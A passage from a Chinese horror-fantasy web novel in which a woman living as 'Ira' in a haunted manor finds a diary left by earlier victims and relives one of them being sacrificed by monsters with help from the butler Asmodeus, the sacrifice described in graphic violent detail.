她紧握着刀把,内心不安的声音逐渐消失。
还有四天,自己就要和维森正式相处,还要一起回伊拉的家族。
必须要再知道些什么。
她在房间进行了一次更彻底的检查,还是没有什么额外的发现。
失落感漫上心头,但很快被压下。
看来只有等咕噜了,纪觅依不知道今天是否还能够见到阿斯莫德,只有寄希望给这个小家伙。
就在这时,门口传来极其轻微的叩击声。
她握着刀把,藏在身后,谨慎地把门打开一条缝。
门外没有人,纪觅依屏住呼吸,将门完全推开,向走廊探望了几下,还是空无一人。她端起门口的餐盘,餐盘的正中央放着一碗热气腾腾的汤面,餐具在一旁随意的躺着,一看就不是阿斯莫德的手笔。
纪觅依把餐盘放在桌上,将门关好,才开始仔细打量这碗面。
她将碗端到面前,嗅了嗅,没有什么怪味,就是淡淡的番茄甜香。
这是?
她这才注意到,碗边一张和早上一模一样的小卡片,翻开后,是维森的字迹——
【我亲爱的未婚妻:】
果然,不是阿斯莫德做的。
纪觅依继续读下去:
【我们的管家太忙碌了,趁此机会,我很荣幸为你亲手做一顿午餐。】
忙?不都是拜你所赐!
可惜在这个世界没有手机,不然纪觅依就要轰炸几个白眼过去。
【我都能想象到你甜蜜的笑容,不必太感动,我的小甜心。】
纪觅依的眉头都拧成一团了,看来她还是低估了维森。
【可惜我需要处理其他事情,没有办法亲眼看到你吃下后感动的样子。四天后见,我可爱的未婚妻。】
【你的小维森。】
现在,纪觅依知道维森对自己的惩罚是什么了。
这一段话看似简短,其攻击力可以在纪觅依这二十几年人生中排上榜首。
她看完后脸都黑了,甚至有些反胃。
还不如喊她也去雨里面种地,淋一会也比这个好受啊!
纪觅依感觉此刻自己的表情不受控的扭曲,捏住叉子搅动了一下碗里的面,可能因为前几天,她吃的都是色香味俱全的美餐,现在她凝重地注视着碗里的面条,本能地抗拒。
能不吃吗?
答案显然是不能,按维森的性格,如果自己不吃下他亲手做的午餐,以后定会连同花园的那件事大做文章。
应该没下毒吧......
纪觅依再次嗅了嗅,确实没有什么特别奇怪的味道,银制的餐具也没有变色。
吃吧,吃吧。
她闭着眼就把叉子上的几根面条往嘴里送,几乎是下一秒,喷了出来。
15. 拼图时光
难吃!
纪觅依连忙掏出手帕,擦了擦嘴巴。
明明闻起来没什么怪味,看起来也不太有伤害力。
一进嘴后,酸甜苦辣咸全部席卷而来,混杂出一种诡异的味道,殴打着她的味蕾。
在某方面,维森也算是个天才......
纪觅依从没见过有人能把一碗面做出这个味道,她看向这份“爱心午餐”,表情越来越凝重。
满脑子只有一个念头:怎么处理掉?
硬着头皮吃下是不可能的,她绝不会再吃第二口!
倒马桶?不行,万一堵了,不就糟糕了。
藏起来?更不行,纪觅依一想到这碗食物烂掉的味道,更加反胃。
阿斯莫德在身边就好了,如果交给他,那一定能处理好,可惜他还在受罚。
纪觅依转念一想,要不找找咕噜,它作为这座庄园的原住民,肯定有办法。
她端着碗来到洗浴间,朝着每个可能藏着它的地方,连续喊了几十声“咕噜”,都没有回应。
看来,是方法不对?
纪觅依开始复盘它出现的条件,可那面镜子她短时间内是绝对不敢再去触碰的,那该如何呼唤它呢。
她走回房间,目光焦虑地扫过每一件物品,寻找着灵感。
突然,她的视线聚焦在床头柜的铃铛——
如果呼唤阿斯莫德的条件是摇响铃铛并喊出他的名字,那么是不是也适用在咕噜身上?
她快步走到床边,右手一把握着铃铛,不管怎么样,尝试总比等待好。
纪觅依扭头回到洗浴间,冲着浴缸的漏水口轻晃了三下铃铛,每晃一次,就喊出一次:
“咕噜。”
“咕噜。”
“咕噜......”
漏水口没有反应,她再尝试了一次,语气更加急切:“咕噜!”
“咕——噜——”
漏水口深处传来回应,过了大约一分钟,一团透明的史莱姆涌出,慢慢凝结成实体。
咕噜大口喘着气,像跑了几百米赶过来的:“我来了,我来了!”
纪觅依顺手将它托到掌心,轻轻拍了拍它的后背:“缓口气,缓口气再说。”
“好,好!”咕噜匀了几口气,“我听到你喊我的铃声了,立马赶过来了。”
看来真的是那个铃铛,没想到阿斯莫德第一晚就交给自己的东西,居然这么管用。
咕噜揉了揉脑袋,整理了一下自己不存在的发型,刚准备开始撒娇,注意力却被纪觅依放在架子上的那碗面勾引住。
“那是什么!”
“这个?”纪觅依顺着它指的方向看去,疑惑地将碗端到咕噜面前,“你说这碗面吗?我吃不下了,还想问你怎么解决......”
咕噜舔着嘴巴,只听到了“我吃不下了”这几个字,搓着小手问道:“我可以吃吗?”
“嗯?”
纪觅依怀疑自己的耳朵,在她迷茫的时候,咕噜已经不受控的一个起跳,张大嘴巴埋进碗里,以肉眼难以捕捉的速度解决掉了她的大难题。
“嗝——”
她回过神来的时候,咕噜已经挺着肚子,躺在干净到锃亮的碗中打着饱嗝了。
“你......你吃完了!”
“咕噜......”它满足地哼了几声,眯着眼睛,“谢谢你,还专门给我带吃的。”
纪觅依看着咕噜原本透明的身体逐渐变白,也越来越结实。
她小心翼翼地说:“你有哪里不舒服吗?”
“完全没有!”咕噜原本空洞的双眸变成了一双蓝绿色眼睛,眼尾微微挑起,像一只小猫。它眨巴眼睛,模样更加乖巧,招呼着纪觅依来看自己的变化,“你看!”
它在碗中转了好几圈:“我的力量恢复了不少,看来今天下午我就可以把空间拼好了。谢谢你!”
纪觅依只能点点头,接下了咕噜的感激,没想到阴差阳错下,恢复了它的能力。
咕噜跳回纪觅依手里,她很明显的感受到它重了不少。
它歪着脑袋邀请道:“那你愿意和我一起拼空间吗?”
似乎是怕纪觅依不愿意,咕噜还补充了几句:“这样我们今晚就可以看日记啦!”
“当然。”哪怕今晚不看日记,纪觅依也心甘情愿帮咕噜,她一口答应,“我非常乐意。”
“嘿嘿。”咕噜一蹦,“啪叽”一声落在地面,迅速膨胀起来,头直接抵住天花板,“那咕噜带你去我的空间咯,准备好了吗?”
可它没给纪觅依回答的时间,一个虎扑抱住了她。
“等......”
窒息感再次涌来,纪觅依屏住呼吸,下一秒,出现在了咕噜的空间。
她睁开眼,蛋形的空间已经大概拼好了一个雏形,地上还散落着许多碎片。
“我一大早就回到空间里了,可是身体太小了。”
咕噜缩回和纪觅依一般高,捡起地上的碎片继续拼着。
“已经很棒了啊!”纪觅依都能想到只有手掌大小的咕噜,费劲拼拼凑凑,才把空间补成这样,心疼极了“那我现在来帮你,应该会更快。”
“嗯!”
咕噜点了好几下脑袋,拿着手上拼好的碎片,猛地一跳,补上了它头顶的窟窿。
它落回地面,两只胳膊一拢,将碎片聚在一起,商量道:“你来拼,我来补,好吗?”
“好。”
纪觅依盘腿坐在地上,一片一片比对着,将裂痕吻合的几片拼接在一起,整齐地摆在右手边。她余光瞟到某只小家伙一会变大,一会变小,上蹿下跳,效率极高的把一大半的空间补好了。
咕噜注意到她的目光,邀功般扭着身体,来到她身边一瘫,脑袋枕在纪觅依的腿上,等着夸奖。
“真厉害呢,那歇会吧。”
纪觅依任由它在自己怀里,手里继续拼着。
咕噜满意地收到夸奖,双眼紧紧锁定着她垂下的发丝。
她放下手上拼好的一整块,去拿其他的碎片,发丝随着她的动作摇晃,咕噜的两只短手不受控地伸出,拨弄那几根从手中滑出的头发。
纪觅依低下脑袋,方便它玩耍,她犹豫了几秒,开口道:“咕噜,你真的不觉得那碗面有什么不对劲?”
咕噜摇了摇脑袋:“不啊!我只觉得好香,里面加了好多好多特别好的东西。”
“你真好。”它坐起身蹭了蹭她的胳膊,“把好东西都给咕噜,我以后会报答你的!”
纪觅依手上的动作一僵。纠结要不要把真相告诉它时,咕噜已经站起来
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,继续修补空间。
在它忙碌的背景音中,纪觅依选择沉默,还是不说出来了,免得它伤心。
两个人就这样和谐的待在空间里,纪觅依将最后一块拼好后,咕噜跳到了她面前,伸出手拉着她起来。
它带着她来到最后一个窟窿,巧合的是,这个窟窿刚好是纪觅依够得到的地方,像是专门为她留下的。
咕噜问道:“你想试试修补空间吗?”
“好啊。”
得到纪觅依的回应后,咕噜的手贴着她的手背,慢慢靠近墙壁。
当纪觅依手中的碎片贴上墙壁时,她感受到一股暖流从指尖流淌至全身。碎片与空间融合后,逐渐变成淡粉色,纪觅依胸口上的数字也微妙地闪烁了一下,像是在回应着什么。
咕噜用自己的小肉手摸了摸空间,眷恋地触碰着那独一无二的墙壁。
“空间恢复了吗?”
“嗯!”咕噜拉着她的手凑上那块粉色碎片,“你可以在这里做个标记吗?咕噜想用来纪念我们一起修好空间。”
纪觅依看着它闪着光的眼睛,宛如一汪清澈的湖水,任何婉拒的话语都说不出口。
直接写下自己的名字是不太可行的,那写点什么呢?
她思索片刻,在碎片正中央画下一个发腮的小猫脸。
“好了。”
咕噜左看看、右看看,喜欢得不得了,整只史莱姆都抖了好几下。
“喜欢,喜欢!和我一样可爱!”
纪觅依盯着咕噜,发自内心的笑出了声。
突然,咕噜动作一顿,脑袋四处张望,像是听到了什么,一脸严肃地说:
“有人在敲门,你要快点回去,等晚上,你摇铃喊我啊!”
敲门?难道是维森?可他说过四天后才会见面。
纪觅依带着疑惑从洗浴间醒来,怀里是咕噜舔得干干净净的面碗。她扶着浴缸边缘,端着碗起身,走到门口。
“叩叩——”
她仔细分辨着敲门的节奏和规律,是阿斯莫德?
纪觅依小心翼翼推开了一条缝,看到门外熟悉的脸,悬着的心放了下来。
阿斯莫德神色冷淡,嘴角平直:“伊拉小姐,您好。”
纪觅依将门完全推开,将他从头到脚用眼神检查了一遍,看着他干掉的头发和换好的衣服,小声问道:
“你......还好吗?”
阿斯莫德没有直接回答,仿佛没有听到,继续说道:“我是来代维森先生向您询问,中午的面如何?”
“都吃完了。”
她不知道为什么阿斯莫德没有正面回答。
纪觅依仰着头,蹙着眉观察着阿斯莫德的表情,从他的眼神中,读懂了被暗压下去的情绪。
纪觅依突然意识到什么,用命令的口吻说道:“阿斯莫德,请你进来帮我收拾一下餐具。”
她的声音在空旷的走廊中显得格外响亮。
“好的。”
阿斯莫德从纪觅依身边走进房间。她能感受到,他刻意靠近,装作不小心拂过自己的手背。
看来他这幅样子,真的是装给维森看的。
但相较于这个,纪觅依更在意的是——
在阿斯莫德擦身而过时,身上那薄荷都压不住的血腥味。
16. 前辈们的秘密
纪觅依紧贴着关上的房门,阿斯莫德停下了脚步,低声道:
“一分半。”
纪觅依点了点头,后背的手往后一推,确定门完全关紧后,走到他面前。
“你受伤了。”她语气笃定,同时一眼锁住阿斯莫德颤抖的左手,“是维森干的?我给你包扎。”
阿斯莫德摇头拒绝,嘴角挤出一个笑,脸上的疏离瞬间融化:
“时间不够,而且,容易被看出来。”
纪觅依想了想自己那拙劣的包扎手法,觉得他说的确实有道理。
一种混合着愧疚与愤怒的酸涩哽在喉头,她挠了挠脑袋,有些无措。
阿斯莫德抬起左手,轻轻拍了拍她的右肩:“没事的。”
就是左手。
哪怕被阿斯莫德刻意遮盖,她依旧察觉到了那股愈发浓重的血腥味,引她不断联想手套下的惨状。
“我们明天还要去集市,你早点休息。”他转身将桌上的餐具收回餐盘,“伊拉,相信我。
“他不会对你做什么的。”
阿斯莫德接过纪觅依手上的碗,放回餐盘,留恋地看了她一眼,准备离开。
“那你呢?”
阿斯莫德的脚步一顿。
纪觅依的声音压得很低,却带着一种不容回避的颤音。
她盯着他挺拔而孤寂的背影,那句被压下去的话冲破束缚:
“我说,那你呢?”
“我......”阿斯莫德深深看了她一眼,“......不重要。”
他的眼神像一个走过漫长寒冬的旅人,明明渴望着热源,真正接触时又一瞬间躲回冰层之下。
纪觅依快步追上,准备揪住他,质问他什么叫不重要。然而阿斯莫德的动作更加迅速,他行云流水般打开门并转身站好,脸上再次端起了服侍者的标准表情。
“维森先生如果知道您这么喜欢他做的饭,一定会很高兴的。”
纪觅依心里窝了一团火,站在他面前,想恶狠狠地盯着他,却偏过头,看着长廊的地面不语。
“伊拉小姐。”
她知道,这是阿斯莫德在催促,至少在今天,他们必须要做戏做全套,让某个控制欲极强的家伙心安。
“那你一定要帮我传达给我亲爱的未婚夫。”纪觅依语速极慢,咬牙切齿般说道,“我真的很感激他,真的。”
阿斯莫德躬身,回应道:“我一定会如实转达的,今晚的晚餐由我来为您呈上,请您稍候片刻。”
他走后,纪觅依在房间里生着闷气。
她气阿斯莫德,为什么能轻描淡写的否定自我价值。
她气维森,为什么能理直气壮的对身边人无端施暴。
可这更多的,是气自己。
为什么如此无能为力,只能活在别人的保护之中,眼睁睁看着阿斯莫德承担着所有痛苦。
纪觅依环抱着自己,双手轻拍,试图消解这一拥而上的情绪。
她自言自语道:“没事的,没事的,纪觅依,你已经很棒了,别被这些情绪冲昏头脑。”
她深吸一口气,随即缓缓吐出积藏已久的那口浊气。
“可以用餐了,伊拉小姐。”
门外传来阿斯莫德的声音,纪觅依揉了揉脸,开门下楼。
幸运的是,今天的晚餐是阿斯莫德做的。
纪觅依吃着盘里的牛肉,眼神时不时就转到阿斯莫德身上,可对方一直低着头,反复擦着茶杯。
还得是贵族的东西质量好,不然以他这种擦法,茶杯早就掉一层色下来了。
纪觅依察觉到他有意避开与她对视,也埋着脑袋专心吃饭。
一顿晚餐在二人沉默无言中显得格外煎熬,纪觅依吃完起身就离开了,她走到楼梯顶端,偏头看了阿斯莫德一眼,他终于停下了机械般的动作,望着留有余温的坐椅,不知道在思考些什么。
“阿斯莫德!”
他感受到上方纪觅依的呼唤,转身抬起头,等待她的吩咐。
“今晚我要早点休息,就不用送牛奶了。”
“好。”
纪觅依一回到房间就掏出日记本,拿着铃铛就去了洗浴间,冲着浴缸漏水口摇了好几下,这次只喊了两声“咕噜”,它就出现了。
纪觅依揽着咕噜,走到书桌后,两只手抱起它放在桌面上,自己坐在椅子上,问道:“这次怎么这么快啊?”
“因为我一直在等着你呀!”
咕噜晃悠着两只刚变出来的小腿,它现在的样子,更像一个人类幼崽。
纪觅依一边暗暗策划着给咕噜弄件衣服穿着,一边摊开日记本递给它。
咕噜满脸自信接过:“交给我吧!”
它的双手散发着微弱的光源,纸张随着他的动作飞快翻动,纪觅依看着眼前这个人形小夜灯,发自内心的震撼。
“好了!”
咕噜双手一拍,把日记本一转,朝着纪觅依的方向。
昨晚断掉的字迹全部显露出来,看来咕噜的能力确实恢复的不错。
她看着昨天读到的位置,继续下去:
【不能看那面镜子!那里面的不是我,不是我!我不会变成那个样子的。】
看来这个人和自己一样,都差点中了招。
纪觅依一翻页,发现字迹完全不一样,与前两页相比,更为凌厉潦草。
一股寒意顺着她的脊椎爬升,她不是来到这个世界的第一人,甚至不是第二个......
纪觅依逼迫着自己继续读下去,每过两三页,字迹和笔触就会发生改变。
她能从笔迹和语句中读出叙述者们各自的性格与情绪,而这些前辈们不约而同,都在书写着来到这个世界的遭遇。
日记本的内容和纪觅依这几天的经历几乎一模一样,除了——
阿斯莫德。
他在之前的那些“伊拉”笔下,都是一样的冷漠。
纪觅依快速向后翻页,记录在一页空白中突兀地中断,她呼吸一滞,颤抖的指尖翻开下一页。
触目惊心的墨渍布满了整张纸,深黑而浑浊的墨水团彼此覆盖、粘黏,尖锐的笔尖划痕穿插其中。
她能想象到,记录者是在极度恐惧或混乱中,将笔尖狠狠戳在纸上,却完全书写不出正常的话语,只能胡乱地拖拽、涂抹。与其说是记录,更像是垂死挣扎的发泄。
“咕噜。”纪觅依的语气中是她自己都没有意识到的慌张,“我看不到这一页的内容。”
“不慌,不慌。”
咕噜从桌子上跳下来,踮着脚,努力伸
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长胳膊,轻拍着她的身体。看到纪觅依的呼吸逐渐平缓后,钻进她怀里,接过日记本。
“嗯?”它捏着下巴琢磨道,“怎么是这个样子的。”
咕噜的右手贴上纸面,下一秒像被灼伤般收回,疼得它对着手心直吹气。
纪觅依也顾不上心中思考不出的问题,抱着它关心道:
“怎么回事?”
“这一页,咕噜破解不了。”它带着哭腔,“我只能,只能回溯这一页。”
纪觅依握着它的右手,温声道:“那已经很好了啊。”
“可我不能确定,这一页到底有什么内容,我怕......”
“嗯?”
咕噜扭过头,满眼都是对她的担心:“我怕里面有什么不好的东西,让你害怕。”
纪觅依一愣,思考片刻,说道:“没事的,咕噜,我总要知道的。相信我,好吗?”
她语气坚定,是安慰咕噜,也是告诉自己:“再害怕我也要知道真相。相信我,我能面对。”
咕噜本来还在纠结,纪觅依说完这句话后,它也下定决心,点了点头:“好。”
它从纪觅依怀里跳下,站在地上,两只手抓住纪觅依的双手,十指相扣,掌心中的白光愈发耀眼。
“我会保证你的安全,在这一页结束后,立马将你拉出。”
咕噜闭上眼睛,纪觅依看着它的身影渐渐模糊。
-----------------
“砰砰砰!”
纪觅依抬起头,门轴在巨大的撞击声中开始松动。她的手不受控地握住笔,在日记本上书写:
【祂来了!】
“伊拉,我看见你咯!伊拉,快开门呀,哈哈哈哈哈!”
门外的生物冲着门缝里吼道,纪觅依完全无法分辨出说话者的性别,男人女人的声音交织,时不时还有几声孩童的抽泣声。
看来回溯已经开始了。
纪觅依尝试着操控身体,却毫无反应,看来她无法干预,只能体验着这个“伊拉”所遭遇的一切。
“不要!不要!”
伊拉崩溃的哭喊着,笔下的字迹越来越凌乱,她的手抖得握不住笔,只能在纸上留下一团团墨迹。
“啪嚓——”
伊拉猛地抬起头,遮住穿衣镜的布幔不知何时滑落,镜子出现裂痕,随即破碎炸开。
“啊!好痛!我的眼睛!啊啊啊——”
纪觅依在这具身体里与当时的伊拉共感,眼前的事物消失,只剩下一片血雾。
视觉的剥离在此时就是致命的威胁,纪觅依努力在这具身体里做些改变,可就如当时的伊拉,只是徒劳。
镜子的碎片精准划伤了伊拉的双眼,她捂着眼睛,四处摸索,脚下却被绊住,直直摔在地上,掌心和膝盖都扎满了地上的碎片,传来钻心的疼痛。
伊拉顾不上拔出那些碎片,嘴唇在剧痛中被咬得血肉模糊,她的双腿完全无法动弹,只能靠手臂带着身体拖行。
“我要逃,要逃......”
伊拉的嗓子干哑,挤出几句绝望的求救——“救我,谁......”
门开了。
她的眼角涌出血泪,在脸上留下一道道痕迹。
“找到你咯,伊拉!”
17. 血色献祭
怪物摸上伊拉的脚腕,顺着她的骨节抚摸。
祂贴在她的耳边,如同与情人窃窃私语:“你怎么把自己弄成这样了。”
祂抵着伊拉的颈椎,捏住她的下巴,迫使她仰起头,温柔擦去伊拉脸上的血泪。
可她的泪水流不尽,越擦越糊。怪物的动作迟凝了一瞬,指腹的力量却骤然加重,尖锐的指甲在她的眼尾刮出一道道伤痕。
祂彻底失去了耐心,将满脸血污的伊拉往地上一砸。祂喘着粗气,随后意识到什么,又温柔地将她抱起。
祂的声音混沌不清:
“你把自己弄成这副模样,可怎么办呢?”
伊拉张开嘴,尝到了铁锈般的腥甜:“不......”
怪物捂住了她的嘴,一股腐烂的臭味卷入她的呼吸,伊拉挣扎着,不断反胃。
“嘘——别闹,乖乖的。”
“我们将赐予你新生。”
纪觅依不知道伊拉被怪物带到哪里了,留给她们的只剩下永无止境的黑暗和耳内不断的嗡鸣。
伊拉躺在冰冷的地面上,四肢被麻绳捆住,动弹不得。
在绝望中,一阵不急不缓的脚步声靠近,停在她面前。
伊拉听到了布料摩擦的声音,脚步声的主人蹲下,赏玩着她狼狈的样子。
冰冷的眼神将她从头到脚扫描一遍,刺得伊拉脊骨发寒。
她一口水也没有喝,张开嘴,喉间一股淤血涌出:“救......救我,求,求你。”
“嘘——”
她的下巴隔着皮质手套被捏起。
“别让血流出来了,咽下去。”
纪觅依和伊拉都无比熟悉这个声音——是阿斯莫德。
伊拉以为找到了救星,强忍着呕吐的欲望吞下嘴里的血,她不断挣脱着束缚双手的麻绳,即使手腕被磨得血肉模糊也不停下。
“别动。”阿斯莫德捏住她的手腕,“听话,我就带你出去。”
伊拉奄奄一息道:“好......”
阿斯莫德解开麻绳,左手扣住她的上臂,右手抄过膝弯,毫不费力将她扛在肩头。
胃部被压迫的窒息感传来,血液倒流冲上头顶,伊拉忍住一动不动,生怕不够听话而被丢下。
她看不见,只能感受着阿斯莫德的脚步和动作:上楼、左转、出门......
伊拉闻到了阳光的味道和泥土的气息,放松道:“好,好温暖。”
“哼——”阿斯莫德嗤笑一声,“等会,会更温暖。”
周遭的一切声音骤然安静,只剩下伊拉的呼吸声,下一秒,空气中爆出欢呼声。
怪物的声音弥漫在四周,叫嚣着:“烧了她!烧了她!”
原始的战栗死死缠住伊拉,击穿了她所有理智的屏障。她用尽全身力气控制麻木无力的四肢,捶打着阿斯莫德。
“放开,咳......放开我!”
她呛出一口血,奋力挣扎。
可阿斯莫德继续走着,无视她徒劳的反抗。
“你说了!”伊拉的眼角再次滴下血泪,怒吼质问道,“带我出去,救我。为什么?”
阿斯莫德停下脚步,像卸下一袋货物般把她丢在草地上。
“我有说救你吗?”
这句话犹如一记重锤,狠狠将伊拉钉在死亡的结局上。
她放弃挣扎,泪水哭尽,任由身上的血流走。
“我说了,听话就带你出去。可是,你违反了规则,我明明告诉过你,不要祈祷,不要看镜子。”
“可惜......”
阿斯莫德掏出手帕,将瘫倒在地上的伊拉那满是血污的脸擦拭干净,口中句句惋惜,可语气嘲弄:
“只有等下一个了。”
他将手帕盖在她的脸上,转身离去。
伊拉嘴里重复着:“不要,不要。”
她以为的救世主早已远去,怪物们从四周涌上,将她架起,往火堆走去。
祂们欢声笑语,嘴里念着:“谢谢你,谢谢你......”
怪物们握着她的手腕,试图把她架在十字桩上。
濒死的意识激发起了她再次反抗的斗志,伊拉猛地抽离了控制,胳膊胡乱地挥舞,往前冲撞。有几只怪物被她推到火堆,发出尖锐的爆鸣:
“是火,是火!”
那些火焰迅速蔓延至祂们全身,没过几秒,便化作一滩灰烬。
原本那些负责控制她的怪物变得畏手畏脚,在她身边踱步。
人群中传来一声命令,声音苍老而低哑:“钉住她。”
“钉住她,钉住她!”
所有的怪物附和道,伊拉渐渐没了力气,反抗的双手越挥越慢,四周的怪物手握着小臂粗的钢钉,喘着粗气,再次涌来。
“祂以悲悯为药,治愈世间顽疾。”
怪物们齐声朗诵着,伊拉的手已经抬不起来了,镜子碎片穿透关节,她膝盖一软,跪在地上。
“以仁慈为盾,抵挡命运锋芒。”
祂们将她重新架起,人群中夹杂着孩童稚嫩的嬉笑声,传到伊拉耳里,化作一次次心脏处的钝痛。
“伤痕在他指尖消融,绝望在他足下退散。”
她的左手腕被钉在木桩上。
“祂是迷途者的港湾,是黑夜将尽时,天边第一缕金色的黎明。”
她的右手腕被钉住。
“愿祂的灵魂如鸽羽轻盈,回归那永恒的圣所——”
她的双脚也被钉住。
“因祂一生所行,便是人间最接近神谕的诗章。”
钢钉抵在胸口,一厘一厘靠近心脏。伊拉哭喊,所有的痛楚都在哀嚎中释放。
“我们感激您,拉......”
“啊啊啊啊啊啊啊啊啊!”
心脏被钉住。
纪觅依听不见了。
-----------------
“醒来啊!”
纪觅依对上了咕噜强忍泪水的双眼。
回来了。
她浑身冒冷汗,咕噜的呼喊将纪觅依从绝望的漩涡中打捞而起。
“你没事吧?”
“你回答呀,别吓咕噜,呜呜呜......”
它两手握拳,擦着脸上的泪水。它孩童般的抽噎声让她回忆起那些怪物的声音,纪觅依胃部一阵痉挛,一把将咕噜推开,冲到洗浴间。
“呕——”
她对着马桶,将刚吃下的晚餐连同胆汁一同倒灌出来。胃部的疼痛压得她直不起身,生理性的泪水模糊了视线,喉咙像被硫酸腐蚀过一样胀痛。
纪觅依一次一次干呕,再也吐不出任何东西。
她扶着墙壁,趴
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在洗手池边,冰冷的陶瓷触感将她拉回一丝现实,但指尖还残留着麻绳的粗糙,鼻腔里幻觉般萦绕着焦肉和灰烬的气息。
镜子里映出她惨白的脸,而那张脸,仿佛重叠着无数个“伊拉”绝望的血泪。
纪觅依打开水龙头,低下头,就着水流漱口,冷水短暂地麻痹了口腔的灼痛。
她蹲在地上,双手环抱住自己,埋着脑袋,躲在恐惧的余波中久久无法脱离。
“喵!”
一个小肉垫搭在纪觅依的膝盖上。
她红着眼抬起头,看到面前突然出现的猫咪,它往地上一倒,露出了温热的肚皮。
纪觅依看着面前这只和自己下午所画相差无几的猫咪,疑问道:“咕噜?”
“是我。”它怯生生的开口,“我不哭了,你别怕。”
她的嘴唇不受控的颤抖,一把将咕噜抱紧。
明明说能面对的是自己,结果现在躲在这崩溃的也是自己,到头来,最担惊受怕的只有咕噜。
纪觅依将脸埋在它的绒毛里,愧疚地呢喃道:“对不起,对不起。”
“喵?”咕噜用耳尖蹭了蹭纪觅依侧脸,“为什么说对不起?你没事就好。”
“可,推开你的是我,信誓旦旦说可以面对的是我......”
咕噜胖乎乎的猫脸上满是认真:“这不重要。”
它的眼神干净纯粹,无声地告诉着纪觅依:
你可以崩溃,可以痛哭,可以脆弱,不管怎么样,哪怕推开我,都不重要,只要——
“你没事就好。”
愧疚感拉扯着纪觅依的内心,她开口道:“对不起——”
“如果你真的觉得对不起我,那就得接受我的一个命令!”它的肉垫精准接住两滴从睫毛尖落下的泪水:“不管你看到了什么,我们现在去休息。”
它扬起尾巴,扫过纪觅依的指尖,跳到地上,催促着她躺到床上。
纪觅依平躺在床上,咕噜叼住被角,东拉西扯,巡视一圈后才满意地躺到她枕边。
过了许久,她的心跳声逐渐平缓下来。
纪觅依侧头,看着咕噜强撑着眼皮,脑袋刚耷拉下去,又瞬间抬起。
它还在担心自己。
内心的一股暖意卷走所有负面情绪,她将咕噜揽到怀里,顺着它背上凌乱的猫毛抚摸。
“咕噜,我可能,没有办法直接告诉你我看到了什么。”
咕噜本能地回应着:“嗯.....”
“我好像,只能相信你了。”
“好。”咕噜舔了舔嘴巴,“我永远不会骗你。”
话音刚落,它打起了呼噜,声音不大,却格外令人安心。
纪觅依轻轻揉着咕噜的耳朵,心里还在想事。
它不会骗自己,可是有人会——
阿斯莫德!
纪觅依现在一回想起阿斯莫德的嘴脸,就泛起恶寒。自己曾经的信任,居然给了这个家伙!
但至少......
她将视线转到怀里的咕噜。
曾经只能一个人无措哭泣的自己,现在,有了会无条件爱着自己的存在。
她把咕噜抱得更紧,感受它的体温,寻觅着安全感。
它说得对,不管怎么样,要先休息。
纪觅依数着咕噜的呼吸声,渐入梦境。
18. “一步之遥”
纪觅依在一种奇异的平静中醒来。
这一夜竟无梦,或许是疲惫彻底压倒了神经,又或是怀里那份温暖实在令人安心。
她下意识收紧手臂,想将咕噜柔软温热的身体搂得更紧些,却搂了个空。
纪觅依猛地坐起身,掀开被子,昨晚咕噜躺着的地方早已是一片冰冷,看来它已经离开有一段时间了。
好像每次她醒来,咕噜都会消失。
纪觅依赤脚踩在地板上,在房间搜寻着它的身影。床底、书桌下,衣柜角落,洗浴间......可都没有它留下的痕迹。
她失望地走到窗边,窗外天色还未亮,几颗残星还挂在天际。
纪觅依向下看去,昨日杂草丛生的后花园已是一片平整,只有两排繁星花被清冷的光勾勒出瘦小的轮廓,在寒风中瑟缩。
花园的那一幕再次回响——
她忘不掉,他蹲在自己身边耐心挑开裙摆上的花刺的样子,他手上凹凸不平的旧伤,他脸颊上微微陷下的酒窝。
那个下午,风是暖的,光是有温度的,连空气里的泥土气息都带着甜味。
而现在——
她同样忘不掉,回溯中“伊拉”每一分每一秒的遭遇。她看不见那段记忆中的阿斯莫德,该是何种神情,但纪觅依感受的到,他是如何捏着沾血的手帕,覆上那种绝望的脸,又是如何在怪物的欢呼声中,转身离去,留下焚身的烈焰的刺穿心脏的钢钉。
纪觅依发出几声苦笑,她笑自己千防万防,还是被他那伪装的假面欺骗到。
门外熟悉的敲门声再次响起,纪觅依面无表情的打开了门,她低着头,躲避着与阿斯莫德的对视。
“早上好,伊拉小姐。”
“嗯。”
纪觅依点头回应,她能感受到他试探的目光。
两个人就这样沉默地站着,都在等待着对方开口。过了几分钟,阿斯莫德道:“您现在用餐吗?”
“嗯。”
纪觅依走下楼,来到餐桌前,她已经不关心阿斯莫德准备了些什么,只想速战速决,少和这个虚伪的家伙产生交集。
“今天早上是热牛奶,小心烫。”
阿斯莫德将玻璃杯轻轻放在纪觅依手边,收回左手时,不经意间擦过她的手背。
就是这种皮革质地的触感,她清清楚楚记得,这双手捏住下巴时的温柔和将她摔在地上的粗暴。
纪觅依的手一顿,抬头看着阿斯莫德:“可以给我一张手帕吗?”
阿斯莫德立即转身向餐车走去,回答道:“好的。”
这是纪觅依今早和他对视的第一眼,阿斯莫德轻快的脚步暴露了他的情绪。
他双手捧着叠得四四方方的手帕,递到纪觅依面前。
“放在桌上就好。”
“......好。”
阿斯莫德的语气里是难掩的落寞,他将手帕放在桌面,动作比平常慢了好几倍。
纪觅依捏起手帕,放在腿上摊开,抚平后擦拭着每一根指头。轮到右手背时,她的力度逐渐加大,如同要抹去一些污秽之物般,皮肤在如此暴行下被擦得泛红。
她将手帕重新叠好,放回它曾经的
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位置,随后往后一退,起身离开餐桌,走回房间。
阿斯莫德安静地站在那里,看着她的背影逐渐消失在视线范围。
纪觅依回到房间后,坐在书桌后,再次翻开那本日记,逐字逐句研究着。
一定还有没注意到的信息。
她拉开抽屉,拿出纸和笔,记录着一切可疑的字眼。
写下日记的前辈们,性格各异,甚至从字里行间能看出部分人的职业。
纪觅依的右手飞快写下所发现的异同点,笔尖在牛皮纸上沙沙作响,将被恐惧打散的线索编织成网。
虽然日记里面并没有透露每个人来到这个世界的原因,但她们都在扮演着和自己一样的角色——伊拉。
在所有人笔下,管家都是冷漠的旁观者,至于维森,这个伊拉名义上的未婚夫,只有一两个人提到过几句。可在提及到他的那几个人里,没有一个见过他真正的样子。
大家好像都默认着他的存在,却像平行线一样从未相交。
纪觅依成了“伊拉”们的特例,她不仅见过他,还产生了不少接触。
她无法把这些归咎为巧合,又想不出自己身上的独特之处,在来到这个世界之前,自己只是一个普通的不能再普通的人。
变因是什么?
纪觅依在纸上勾勾画画,牙齿轻咬着拇指关节,焦虑地画着圆圈。
规则是不能触犯的,那些女孩都死于对这三条规则的轻视。那明明自己也触犯了第二条规则,按理来说也要承担不小的代价,可不但没有,还收获了无条件保护自己的咕噜。
19. 冰河时期
“伊拉小姐,我们到了。”
